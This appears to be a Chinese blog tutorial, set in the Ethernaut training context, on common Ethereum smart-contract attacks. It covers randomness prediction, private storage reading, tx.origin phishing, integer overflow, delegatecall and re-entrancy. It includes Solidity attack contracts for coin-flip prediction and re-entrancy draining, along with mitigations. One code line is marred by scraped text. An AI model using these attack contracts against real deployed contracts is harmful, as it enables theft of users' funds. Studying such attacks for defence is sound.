zoukankan      html  css  js  c++  java
  • 智能合约常见攻击方式

    准备

    普通攻击

    fallback回退函数

    合约可以有一个未命名函数,该函数不能有参数,也不能有返回值。fallback函数在以下情况会被调用:

    • 一个调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据)。由于Solidity中,Solidity提供了编译期检查,所以我们不能直接通过Solidity调用一个不存在的函数。但我们可以使用Solidity的提供的底层函数address.call来模拟这一行为,进行函数调用。
    • 合约收到以太币,没有任何数据(为接受以太币,fallback函数必须标记为payablefunction() payable public{},否则合约无法接收,如果通过转账函数transfer发送到没有定义payable的合约,会抛出错误,导致后面的代码无法执行!但如果有合约通过自毁selfdestruct(address)的方式发送,即使没有定义为payable都得收下!)。通过MetaMask的Send向合约地址转以太币触发(ethernaut环境下可通过集成函数contract.sendTransaction({value: 1})转以太币;通过address.call.gas(1000000).value(msg.value)();在合约中转以太币)。

    构造函数

    构造函数无法显式调用,但如果构造函数和contract名字不一致,就能被直接调用,solidity 0.4.22引入了关键词constructor来指定构造函数。

    随机数预测

    • 使用区块变量block.coinbase/difficulty/gaslimit/number/timestamp,或基于过往块的哈希值block.blockhash(block.number – 1),由于区块变量在同一区块是共用的,通过攻击合约调用目标合约,即可实现预测
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    contract CoinFlip {
      function flip(bool _guess) public returns (bool);
    }
    contract Attack {
      address _addr;
      constructor(address param) { _addr = param;}
      function guess() public{
        CoinFlip cf = CoinFlip(_addr); //new instance with address
        uint256 blockValue = uint256(block.blockhash(block.number-1)); //generate the same random value
        bool side = uint256(uint256(blockValue) / FACTOR) == 1;
        return cf.flip(side); //invoke method with instance
      }
    }
    
    • 使用未来区块的区块哈希(使用上一次调用区块高度计算哈希值),由于EVM 能存储的区块哈希为最近的256条,超过的话置为 0。因此,如果第二次调用时,与第一次下注时的区块高度差超过了 256,那么此时的产生的区块哈希为0,此时伪随机数就变成可猜测的了
    • 使用私有的种子变量,将变量标记为私有只会阻止其他合约访问它,但是可以以链下的方式去获取链上的存储信息。如使用客户端的web3 API方法web3.eth.getStorageAt(addr, argument_index,callback),可以检索合约的存储
    1
    2
    3
    web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/'); //默认的web3必须带上callback回调函数
    web3 = new Web3(web3Provider);
    web3.eth.getStorageAt("0xad836dc9bc4fa0af947a27128edfa14459d77f19", 1, function(x, y) {大专栏  智能合约常见攻击方式pan class="nx">alert(web3.toAscii(y))}); //以alert的方式将该地址的第2个值转化ascii显示
    

    解决该问题可选的方案有RANDAOOraclize等,以去中心化的方式或是与外界互联网交互的方式得到安全的随机数。

    区分tx.originmsg.sender

    msg.sender是函数的直接调用方,在用户手动调用该函数时是发起交易的账户地址,但也可以是调用该函数的一个智能合约的地址。而tx.origin则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,而且一定是账户地址而不是合约地址。所以如果存在用户通过合约A调用合约B,那么对应合约B而言,msg.sender 是合约 A 地址,但tx.origin 是用户的账户地址。

    如果目标合约使用tx.origin作为校验的依据,攻击者以钓鱼等方式,欺骗目标合约拥有者向攻击协议发送以太币,调用fallback函数,然后在fallback函数调用目标合约,由于tx.origin会是交易原始发起方,也就是目标合约拥有者,满足校验条件,从而实现攻击。

    解决方案:通过require(tx.origin == msg.sender)限制外部合约对内部合约的调用。

    整数溢出

    uint默认为256位无符整型,可表示范围[0, 2**256-1]。如果对0减1,则由256位的0,变成256位1,整数下溢,变成一个最大的整数。同理,如果对256位1加1,则变成256位0,变成最小的整数。同理:uint8,只能存储在范围[0,255]的数字。

    解决方案:

    • 在每一次数学运算时进行判断,如a=a+b;,就可以写成if(a+b>a) a=a+b;
    • 使用 OpenZeppelin 团队开发的SafeMath库,如果整数溢出漏洞发生时,函数将进行回退操作,如加法操作写为:a=a.add(b);

    call/delegatecall调用

    使用call函数来进行合约交互,对目标合约发送数据。delegatecall跟call主要的不同:通过delegatecall调用,仅使用目标地址的代码,其他信息则使用当前合约(如:msg.sender等)。delegatecall是危险函数,他可以在被调用合约完全操作原始合约的状态,谨慎使用!

    通过call/delegatecall调用函数,传入的第一个参数是四个字节时,会把这四个字节当作函数的id来寻找被调用函数,而一个函数id的生成规则是其函数签名的sha3的前4个bytes。因此通过:web3.sha3("pwn()").slice(0,10)=0xdd365b8b,加上0x,总共取前10个字符。

    重入攻击(Re-entrancy)

    被攻击函数withdraw()在发送以太币msg.sender.call.value(_amount)() 之后才更新余额balances[msg.sender] -= _amount; ,因此通过攻击合约调用withdraw时,攻击合约在fallback函数中接收以太币时再次调用withdraw,则可以在更新余额之前无限递归调用withdraw

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    contract Reentrance {
      function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
          if(msg.sender.call.value(_amount)()) {
            _amount;
          }
          balances[msg.sender] -= _amount; // update balance after send
        }
      }
    }
    contract Attack {
      function() public payable {
        uint weHave = c.balanceOf(this);
        if (weHave > c.balance) {
          if (c.balance != 0) c.withdraw(c.balance);
          return;
        }
        c.withdraw(weHave);
      }
    }
    
  • 相关阅读:
    Vue学习笔记-2
    versionCompare 版本号比较工具
    Vue学习笔记-1
    工作机会
    PAT题目AC汇总(待补全)
    sqli-labs-master 第二关+第三关+第四关
    sqli-labs-master 盲注+第五关+第六关
    Java面向对象--equeal和==
    Java面向对象--object
    Java面向对象--成员变量的初始值
  • 原文地址:https://www.cnblogs.com/lijianming180/p/12268129.html
Copyright © 2011-2022 走看看